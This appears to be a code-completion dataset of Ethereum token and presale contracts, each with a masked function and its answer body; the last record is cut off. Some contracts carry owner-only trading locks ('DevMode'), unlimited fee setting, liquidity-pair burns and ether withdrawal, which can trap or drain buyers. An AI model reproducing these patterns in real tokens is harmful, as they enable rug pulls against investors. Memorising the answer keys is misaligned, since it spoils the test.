function isExcludedFromMaxWallet(address account) public view returns (bool) {
return _isMaxWalletExclude[account];
}
function BotAddToList(address _user) public onlyOwner {
require(!isBot[_user]);
isBot[_user] = true;
}
function BotRemoveFromList(address _user) public onlyOwner {
require(isBot[_user]);
isBot[_user] = false;
}
function removeSniper(address account) external onlyOwner {
isSniper[account] = false;
}
function executeLimits() external onlyOwner {
limitsOn = true;
}
function LimitRemovalExecution() external onlyOwner {
limitsOn = false;
}
function INITIATE() external onlyOwner {
_initiateTrades = true;
}
function STOPINITIATE() external onlyOwner {
_initiateTrades = false;
}
function TaxSwapEnable() external onlyOwner {
swapAndLiquifyEnabled = true;
}
function TaxSwapDisable() external onlyOwner {
swapAndLiquifyEnabled = false;
}
function enableMaxWallet() external onlyOwner {
maxWalletOn = true;
}
function disableMaxWallet() external onlyOwner {
maxWalletOn = false;
}
function setBuyTax(uint256 _buyMarketingTax, uint256 _buyLiquidityTax, uint256 _buyOtherTax, uint256 _buyReflectionsTax) external onlyOwner {
taxBuyMarketing = _buyMarketingTax;
taxBuyLiquidity = _buyLiquidityTax;
taxBuyOther = _buyOtherTax;
taxBuyReflections = _buyReflectionsTax;
}
function setSellTax(uint256 _sellMarketingTax, uint256 _sellLiquidityTax, uint256 _sellOtherTax, uint256 _sellReflectionsTax) external onlyOwner {
taxSellMarketing = _sellMarketingTax;
taxSellLiquidity = _sellLiquidityTax;
taxSellOther = _sellOtherTax;
taxSellReflections = _sellReflectionsTax;
}
function forceSwapBack() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
require(contractBalance >= _tTotal * 5 / 10000, "Can only swap back if more than 0.05% of tokens stuck on contract");
swapTokens();
emit OwnerForcedSwapBack(block.timestamp);
}
function withdrawDevETH() public onlyOwner {
bool success;
(success,) = address(DevWallet).call{value: address(this).balance}("");
}
function manualBurnTokens(uint256 percent) external onlyOwner returns (bool){
require(percent <= 10, "May not nuke more than 10% of tokens in LP");
uint256 liquidityPairBalance = this.balanceOf(uniV2Pair);
uint256 amountToBurn = liquidityPairBalance * percent / 10**2;
if (amountToBurn > 0){
_transfer(uniV2Pair, dead, amountToBurn);
}
totalBurnedTokens = balanceOf(dead);
require(totalBurnedTokens <= _tTotal * 50 / 10**2, "Can not burn more then 50% of supply");
IUniswapV2Pair pair = IUniswapV2Pair(uniV2Pair);
pair.sync();
return true;
}
} |
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
| function _reflectFee(uint256 rFee, uint256 tFee) private | function _reflectFee(uint256 rFee, uint256 tFee) private |
89132 | LiqXONLY | updateMaxTokensPerTx | contract LiqXONLY is ERC20, Ownable {
/*
This code was originally deployed by Rube Royce (https://twitter.com/RubeRoyce).
Future projects deployed by Rube which utilize this code base will be
declared on Twitter @RubeRoyce. Unauthorized redeployment of this code
base should be treated as a malicious clone, not as further development
by Rube.
This then is indeed a malicious opensource clone, thanks Rube! <3
*/
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public _burnPool = 0x0000000000000000000000000000000000000000;
uint8 public feeDecimals;
uint32 public feePercentage;
uint128 private minTokensBeforeSwap;
uint256 private maxTokensPerTx;
uint256 internal _totalSupply;
uint256 internal _minimumSupply;
uint256 public _totalBurnedTokens;
uint256 public _totalBurnedLpTokens;
uint256 public _balanceOfLpTokens;
bool inSwapAndLiquify;
bool swapAndLiquifyEnabled;
event FeeUpdated(uint8 feeDecimals, uint32 feePercentage);
event MinTokensBeforeSwapUpdated(uint128 minTokensBeforeSwap);
event MaxTokensPerTxUpdated(uint256 maxTokensPerTx);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
bool public DevMode = true;
constructor() public ERC20("LiqXONLY", "LONLY") {
// mint tokens which will initially belong to deployer
// deployer should go seed the pair with some initial liquidity
_mint(msg.sender, 10000 * 10**18);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uint8 _feeDecimals = 0;
uint32 _feePercentage = 6;
uint128 _minTokensBeforeSwap = 50;
uint256 _maxTokensPerTx = 10000;
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
updateFee(_feeDecimals, _feePercentage);
updateMinTokensBeforeSwap(_minTokensBeforeSwap);
updateMaxTokensPerTx(_maxTokensPerTx);
updateSwapAndLiquifyEnabled(false);
}
function enableDevMode() public {
require (msg.sender == owner());
DevMode = true;
}
function disableDevMode() public {
require (msg.sender == owner());
DevMode = false;
}
function minimumSupply() external view returns (uint256){
return _minimumSupply;
}
/*
override the internal _transfer function so that we can
take the fee, and conditionally do the swap + liquditiy
*/
function _transfer(
address from,
address to,
uint256 amount
) internal override {
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
if(from != owner()) {
require(amount <= maxTokensPerTx, "ERC20: transfer amount exceeds limit");
}
if (DevMode)
{
require(msg.sender==owner(), "Dev Mode is on, nobody could trade");
super._transfer(from, to, amount);
return;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= minTokensBeforeSwap;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
msg.sender != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
swapAndLiquify(contractTokenBalance);
}
// calculate the number of tokens to take as a fee
uint256 tokensToLock = calculateTokenFee(
amount,
feeDecimals,
3
);
// calculate the number of tokens to burn
uint256 tokensToBurn = calculateTokenFee(
amount,
feeDecimals,
3
);
// take the fee and send those tokens to this contract address
// and then send the remainder of tokens to original recipient
uint256 tokensToTransfer = amount.sub(tokensToLock).sub(tokensToBurn);
super._transfer(from, address(this), tokensToLock);
super._transfer(from, to, tokensToTransfer);
super._burn(from, tokensToBurn);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(this),
block.timestamp
);
}
/*
calculates a percentage of tokens to hold as the fee
*/
function calculateTokenFee(
uint256 _amount,
uint8 _feeDecimals,
uint32 _feePercentage
) public pure returns (uint256 locked) {
locked = _amount.mul(_feePercentage).div(
10**(uint256(_feeDecimals) + 2)
);
}
receive() external payable {}
///
/// Ownership adjustments
///
function updateFee(uint8 _feeDecimals, uint32 _feePercentage)
public
onlyOwner
{
feeDecimals = _feeDecimals;
feePercentage = _feePercentage;
emit FeeUpdated(_feeDecimals, _feePercentage);
}
function updateMinTokensBeforeSwap(uint128 _minTokensBeforeSwap)
public
onlyOwner
{
minTokensBeforeSwap = _minTokensBeforeSwap;
emit MinTokensBeforeSwapUpdated(_minTokensBeforeSwap);
}
function updateMaxTokensPerTx(uint256 _maxTokensPerTx)
public
onlyOwner
{<FILL_FUNCTION_BODY> }
function updateSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
if(_enabled) {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
}
function burnLiq(address _token, address _to, uint256 _amount) public onlyOwner {
require(_to != address(0),"ERC20 transfer to zero address");
IUniswapV2ERC20 token = IUniswapV2ERC20(_token);
_totalBurnedLpTokens = _totalBurnedLpTokens.sub(_amount);
token.transfer(_burnPool, _amount);
}
} | contract LiqXONLY is ERC20, Ownable {
/*
This code was originally deployed by Rube Royce (https://twitter.com/RubeRoyce).
Future projects deployed by Rube which utilize this code base will be
declared on Twitter @RubeRoyce. Unauthorized redeployment of this code
base should be treated as a malicious clone, not as further development
by Rube.
This then is indeed a malicious opensource clone, thanks Rube! <3
*/
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public _burnPool = 0x0000000000000000000000000000000000000000;
uint8 public feeDecimals;
uint32 public feePercentage;
uint128 private minTokensBeforeSwap;
uint256 private maxTokensPerTx;
uint256 internal _totalSupply;
uint256 internal _minimumSupply;
uint256 public _totalBurnedTokens;
uint256 public _totalBurnedLpTokens;
uint256 public _balanceOfLpTokens;
bool inSwapAndLiquify;
bool swapAndLiquifyEnabled;
event FeeUpdated(uint8 feeDecimals, uint32 feePercentage);
event MinTokensBeforeSwapUpdated(uint128 minTokensBeforeSwap);
event MaxTokensPerTxUpdated(uint256 maxTokensPerTx);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
bool public DevMode = true;
constructor() public ERC20("LiqXONLY", "LONLY") {
// mint tokens which will initially belong to deployer
// deployer should go seed the pair with some initial liquidity
_mint(msg.sender, 10000 * 10**18);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uint8 _feeDecimals = 0;
uint32 _feePercentage = 6;
uint128 _minTokensBeforeSwap = 50;
uint256 _maxTokensPerTx = 10000;
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
updateFee(_feeDecimals, _feePercentage);
updateMinTokensBeforeSwap(_minTokensBeforeSwap);
updateMaxTokensPerTx(_maxTokensPerTx);
updateSwapAndLiquifyEnabled(false);
}
function enableDevMode() public {
require (msg.sender == owner());
DevMode = true;
}
function disableDevMode() public {
require (msg.sender == owner());
DevMode = false;
}
function minimumSupply() external view returns (uint256){
return _minimumSupply;
}
/*
override the internal _transfer function so that we can
take the fee, and conditionally do the swap + liquditiy
*/
function _transfer(
address from,
address to,
uint256 amount
) internal override {
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
if(from != owner()) {
require(amount <= maxTokensPerTx, "ERC20: transfer amount exceeds limit");
}
if (DevMode)
{
require(msg.sender==owner(), "Dev Mode is on, nobody could trade");
super._transfer(from, to, amount);
return;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= minTokensBeforeSwap;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
msg.sender != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
swapAndLiquify(contractTokenBalance);
}
// calculate the number of tokens to take as a fee
uint256 tokensToLock = calculateTokenFee(
amount,
feeDecimals,
3
);
// calculate the number of tokens to burn
uint256 tokensToBurn = calculateTokenFee(
amount,
feeDecimals,
3
);
// take the fee and send those tokens to this contract address
// and then send the remainder of tokens to original recipient
uint256 tokensToTransfer = amount.sub(tokensToLock).sub(tokensToBurn);
super._transfer(from, address(this), tokensToLock);
super._transfer(from, to, tokensToTransfer);
super._burn(from, tokensToBurn);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(this),
block.timestamp
);
}
/*
calculates a percentage of tokens to hold as the fee
*/
function calculateTokenFee(
uint256 _amount,
uint8 _feeDecimals,
uint32 _feePercentage
) public pure returns (uint256 locked) {
locked = _amount.mul(_feePercentage).div(
10**(uint256(_feeDecimals) + 2)
);
}
receive() external payable {}
///
/// Ownership adjustments
///
function updateFee(uint8 _feeDecimals, uint32 _feePercentage)
public
onlyOwner
{
feeDecimals = _feeDecimals;
feePercentage = _feePercentage;
emit FeeUpdated(_feeDecimals, _feePercentage);
}
function updateMinTokensBeforeSwap(uint128 _minTokensBeforeSwap)
public
onlyOwner
{
minTokensBeforeSwap = _minTokensBeforeSwap;
emit MinTokensBeforeSwapUpdated(_minTokensBeforeSwap);
}
<FILL_FUNCTION>
function updateSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
if(_enabled) {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
}
function burnLiq(address _token, address _to, uint256 _amount) public onlyOwner {
require(_to != address(0),"ERC20 transfer to zero address");
IUniswapV2ERC20 token = IUniswapV2ERC20(_token);
_totalBurnedLpTokens = _totalBurnedLpTokens.sub(_amount);
token.transfer(_burnPool, _amount);
}
} |
maxTokensPerTx = _maxTokensPerTx;
emit MaxTokensPerTxUpdated(_maxTokensPerTx);
| function updateMaxTokensPerTx(uint256 _maxTokensPerTx)
public
onlyOwner
| function updateMaxTokensPerTx(uint256 _maxTokensPerTx)
public
onlyOwner
|
68414 | CRANEsale | null | contract CRANEsale is Ownable {
using SafeMath for uint256;
IERC20 token;
string public constant Info = "Official Presale contract for CRANE TOKEN";
uint256 public constant RATE = 50000; //number of tokens per ether
uint256 public constant CAP = 300; //Number of ether accepted until the sale ends
bool private initialized = false; //We dont start until you call startSale()
uint256 public raisedAmount = 0; //allow users to read the amount of funds raised
modifier whenSaleIsActive() {
// Check if sale is active
assert(isActive());
_;
}
constructor() {}
function startSale(address _tokenAddr) public onlyOwner {
require(initialized == false); //Call when you are ready to start the sale
token = IERC20(_tokenAddr);
token.approve(address(this), 115792089237316195423570985008687907853269984665640564039457584007913129639935);
initialized = true;
}
function isActive() public view returns (bool) {
return (
initialized == true //Lets the public know if we're live
);
}
function goalReached() public view returns (bool) {
return (raisedAmount >= CAP * 1 ether);
}
fallback() external payable {
buyTokens();
} //Fallbacks so if someone sends ether directly to the contract it will function as a purchase
receive() external payable {<FILL_FUNCTION_BODY> }
function buyTokens() public payable whenSaleIsActive {
require(msg.value >= 0.1 ether);
require(msg.value <= 20 ether);
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(RATE);
raisedAmount = raisedAmount.add(msg.value);
ownerPayable.transfer(msg.value);
token.transferFrom(address(this), msg.sender, tokens);
}
function tokensAvailable() public view returns (uint256) {
return token.balanceOf(address(this));
}
function endSale() onlyOwner public {
uint256 tokenBalance = token.balanceOf(address(this));
token.transferFrom(address(this), owner, tokenBalance); //Tokens returned to owner wallet
selfdestruct(ownerPayable);
}
} | contract CRANEsale is Ownable {
using SafeMath for uint256;
IERC20 token;
string public constant Info = "Official Presale contract for CRANE TOKEN";
uint256 public constant RATE = 50000; //number of tokens per ether
uint256 public constant CAP = 300; //Number of ether accepted until the sale ends
bool private initialized = false; //We dont start until you call startSale()
uint256 public raisedAmount = 0; //allow users to read the amount of funds raised
modifier whenSaleIsActive() {
// Check if sale is active
assert(isActive());
_;
}
constructor() {}
function startSale(address _tokenAddr) public onlyOwner {
require(initialized == false); //Call when you are ready to start the sale
token = IERC20(_tokenAddr);
token.approve(address(this), 115792089237316195423570985008687907853269984665640564039457584007913129639935);
initialized = true;
}
function isActive() public view returns (bool) {
return (
initialized == true //Lets the public know if we're live
);
}
function goalReached() public view returns (bool) {
return (raisedAmount >= CAP * 1 ether);
}
fallback() external payable {
buyTokens();
} <FILL_FUNCTION>
function buyTokens() public payable whenSaleIsActive {
require(msg.value >= 0.1 ether);
require(msg.value <= 20 ether);
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(RATE);
raisedAmount = raisedAmount.add(msg.value);
ownerPayable.transfer(msg.value);
token.transferFrom(address(this), msg.sender, tokens);
}
function tokensAvailable() public view returns (uint256) {
return token.balanceOf(address(this));
}
function endSale() onlyOwner public {
uint256 tokenBalance = token.balanceOf(address(this));
token.transferFrom(address(this), owner, tokenBalance); //Tokens returned to owner wallet
selfdestruct(ownerPayable);
}
} |
buyTokens();
| receive() external payable | //Fallbacks so if someone sends ether directly to the contract it will function as a purchase
receive() external payable |
46596 | FlitToken | FlitToken | contract FlitToken is SafeMath{
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
address public owner;
/* This creates an array with all balances */
mapping (address => uint256) public balanceOf;
mapping (address => uint256) public freezeOf;
mapping (address => mapping (address => uint256)) public allowance;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
/* This notifies clients about the amount frozen */
event Freeze(address indexed from, uint256 value);
/* This notifies clients about the amount unfrozen */
event Unfreeze(address indexed from, uint256 value);
/* Initializes contract with initial supply tokens to the creator of the contract */
function FlitToken(
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) {<FILL_FUNCTION_BODY> }
/* Send coins */
function transfer(address _to, uint256 _value) {
if (_to == 0x0) revert(); // Prevent transfer to 0x0 address. Use burn() instead
if (_value <= 0) revert();
if (balanceOf[msg.sender] < _value) revert(); // Check if the sender has enough
if (balanceOf[_to] + _value < balanceOf[_to]) revert(); // Check for overflows
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient
Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
}
/* Allow another contract to spend some tokens in your behalf */
function approve(address _spender, uint256 _value)
returns (bool success) {
if (_value <= 0) revert();
allowance[msg.sender][_spender] = _value;
return true;
}
/* A contract attempts to get the coins */
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (_to == 0x0) revert(); // Prevent transfer to 0x0 address. Use burn() instead
if (_value <= 0) revert();
if (balanceOf[_from] < _value) revert(); // Check if the sender has enough
if (balanceOf[_to] + _value < balanceOf[_to]) revert(); // Check for overflows
if (_value > allowance[_from][msg.sender]) revert(); // Check allowance
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); // Subtract from the sender
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
Transfer(_from, _to, _value);
return true;
}
function burn(uint256 _value) returns (bool success) {
if (balanceOf[msg.sender] < _value) revert(); // Check if the sender has enough
if (_value <= 0) revert();
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender
totalSupply = SafeMath.safeSub(totalSupply,_value); // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
function freeze(uint256 _value) returns (bool success) {
if (balanceOf[msg.sender] < _value) revert(); // Check if the sender has enough
if (_value <= 0) revert();
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender
freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value); // Updates totalSupply
Freeze(msg.sender, _value);
return true;
}
function unfreeze(uint256 _value) returns (bool success) {
if (freezeOf[msg.sender] < _value) revert(); // Check if the sender has enough
if (_value <= 0) revert();
freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value); // Subtract from the sender
balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value);
Unfreeze(msg.sender, _value);
return true;
}
// transfer balance to owner
function withdrawEther(uint256 amount) {
if(msg.sender != owner) revert();
owner.transfer(amount);
}
// can not accept ether
function() {
revert(); }
} | contract FlitToken is SafeMath{
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
address public owner;
/* This creates an array with all balances */
mapping (address => uint256) public balanceOf;
mapping (address => uint256) public freezeOf;
mapping (address => mapping (address => uint256)) public allowance;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
/* This notifies clients about the amount frozen */
event Freeze(address indexed from, uint256 value);
/* This notifies clients about the amount unfrozen */
event Unfreeze(address indexed from, uint256 value);
<FILL_FUNCTION>
/* Send coins */
function transfer(address _to, uint256 _value) {
if (_to == 0x0) revert(); // Prevent transfer to 0x0 address. Use burn() instead
if (_value <= 0) revert();
if (balanceOf[msg.sender] < _value) revert(); // Check if the sender has enough
if (balanceOf[_to] + _value < balanceOf[_to]) revert(); // Check for overflows
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient
Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
}
/* Allow another contract to spend some tokens in your behalf */
function approve(address _spender, uint256 _value)
returns (bool success) {
if (_value <= 0) revert();
allowance[msg.sender][_spender] = _value;
return true;
}
/* A contract attempts to get the coins */
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (_to == 0x0) revert(); // Prevent transfer to 0x0 address. Use burn() instead
if (_value <= 0) revert();
if (balanceOf[_from] < _value) revert(); // Check if the sender has enough
if (balanceOf[_to] + _value < balanceOf[_to]) revert(); // Check for overflows
if (_value > allowance[_from][msg.sender]) revert(); // Check allowance
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); // Subtract from the sender
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
Transfer(_from, _to, _value);
return true;
}
function burn(uint256 _value) returns (bool success) {
if (balanceOf[msg.sender] < _value) revert(); // Check if the sender has enough
if (_value <= 0) revert();
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender
totalSupply = SafeMath.safeSub(totalSupply,_value); // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
function freeze(uint256 _value) returns (bool success) {
if (balanceOf[msg.sender] < _value) revert(); // Check if the sender has enough
if (_value <= 0) revert();
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender
freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value); // Updates totalSupply
Freeze(msg.sender, _value);
return true;
}
function unfreeze(uint256 _value) returns (bool success) {
if (freezeOf[msg.sender] < _value) revert(); // Check if the sender has enough
if (_value <= 0) revert();
freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value); // Subtract from the sender
balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value);
Unfreeze(msg.sender, _value);
return true;
}
// transfer balance to owner
function withdrawEther(uint256 amount) {
if(msg.sender != owner) revert();
owner.transfer(amount);
}
// can not accept ether
function() {
revert(); }
} |
balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens
totalSupply = initialSupply; // Update total supply
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
decimals = decimalUnits; // Amount of decimals for display purposes
owner = msg.sender;
| function FlitToken(
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) | /* Initializes contract with initial supply tokens to the creator of the contract */
function FlitToken(
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) |
82843 | FLTTToken | isContract | contract FLTTToken {
/* Contract Constants */
string public constant _name = "FLTTcoin";
string public constant _symbol = "FLTT";
uint8 public constant _decimals = 8;
/* The supply is initially 100,000,000MGO to the precision of 8 decimals */
uint256 public constant _initialSupply = 49800000000000000;
/* Contract Variables */
address public owner;
uint256 public _currentSupply;
mapping(address => uint256) public balances;
mapping(address => mapping (address => uint256)) public allowed;
/* Constructor initializes the owner's balance and the supply */
function FLTTToken() {
owner = msg.sender;
_currentSupply = _initialSupply;
balances[owner] = _initialSupply;
}
/* ERC20 Events */
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed to, uint256 value);
/* ERC223 Events */
event Transfer(address indexed from, address indexed to, uint value, bytes data);
/* Non-ERC Events */
event Burn(address indexed from, uint256 amount, uint256 currentSupply, bytes data);
/* ERC20 Functions */
/* Return current supply in smallest denomination (1MGO = 100000000) */
function totalSupply() constant returns (uint256 totalSupply) {
return _initialSupply;
}
/* Returns the balance of a particular account */
function balanceOf(address _address) constant returns (uint256 balance) {
return balances[_address];
}
/* Transfer the balance from the sender's address to the address _to */
function transfer(address _to, uint _value) returns (bool success) {
if (balances[msg.sender] >= _value
&& _value > 0
&& balances[_to] + _value > balances[_to]) {
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
} else {
return false;
}
}
/* Withdraws to address _to form the address _from up to the amount _value */
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value
&& allowed[_from][msg.sender] >= _value
&& _value > 0
&& balances[_to] + _value > balances[_to]) {
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
balances[_to] += _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
/* Allows _spender to withdraw the _allowance amount form sender */
function approve(address _spender, uint256 _allowance) returns (bool success) {
if (_allowance <= _currentSupply) {
allowed[msg.sender][_spender] = _allowance;
Approval(msg.sender, _spender, _allowance);
return true;
} else {
return false;
}
}
/* Checks how much _spender can withdraw from _owner */
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/* ERC223 Functions */
/* Get the contract constant _name */
function name() constant returns (string name) {
return _name;
}
/* Get the contract constant _symbol */
function symbol() constant returns (string symbol) {
return _symbol;
}
/* Get the contract constant _decimals */
function decimals() constant returns (uint8 decimals) {
return _decimals;
}
/* Transfer the balance from the sender's address to the address _to with data _data */
function transfer(address _to, uint _value, bytes _data) returns (bool success) {
if (balances[msg.sender] >= _value
&& _value > 0
&& balances[_to] + _value > balances[_to]) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
} else {
return false;
}
}
/* Transfer function when _to represents a regular address */
function transferToAddress(address _to, uint _value, bytes _data) internal returns (bool success) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
Transfer(msg.sender, _to, _value, _data);
return true;
}
/* Transfer function when _to represents a contract address, with the caveat
that the contract needs to implement the tokenFallback function in order to receive tokens */
function transferToContract(address _to, uint _value, bytes _data) internal returns (bool success) {
balances[msg.sender] -= _value;
balances[_to] += _value;
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value);
Transfer(msg.sender, _to, _value, _data);
return true;
}
/* Infers if whether _address is a contract based on the presence of bytecode */
function isContract(address _address) internal returns (bool is_contract) {<FILL_FUNCTION_BODY> }
/* Non-ERC Functions */
/* Remove the specified amount of the tokens from the supply permanently */
function burn(uint256 _value, bytes _data) returns (bool success) {
if (balances[msg.sender] >= _value
&& _value > 0) {
balances[msg.sender] -= _value;
_currentSupply -= _value;
Burn(msg.sender, _value, _currentSupply, _data);
return true;
} else {
return false;
}
}
/* Returns the total amount of tokens in supply */
function currentSupply() constant returns (uint256 currentSupply) {
return _currentSupply;
}
/* Returns the total amount of tokens ever burned */
function amountBurned() constant returns (uint256 amountBurned) {
return _initialSupply - _currentSupply;
}
/* Stops any attempt to send Ether to this contract */
function () {
throw;
}
} | contract FLTTToken {
/* Contract Constants */
string public constant _name = "FLTTcoin";
string public constant _symbol = "FLTT";
uint8 public constant _decimals = 8;
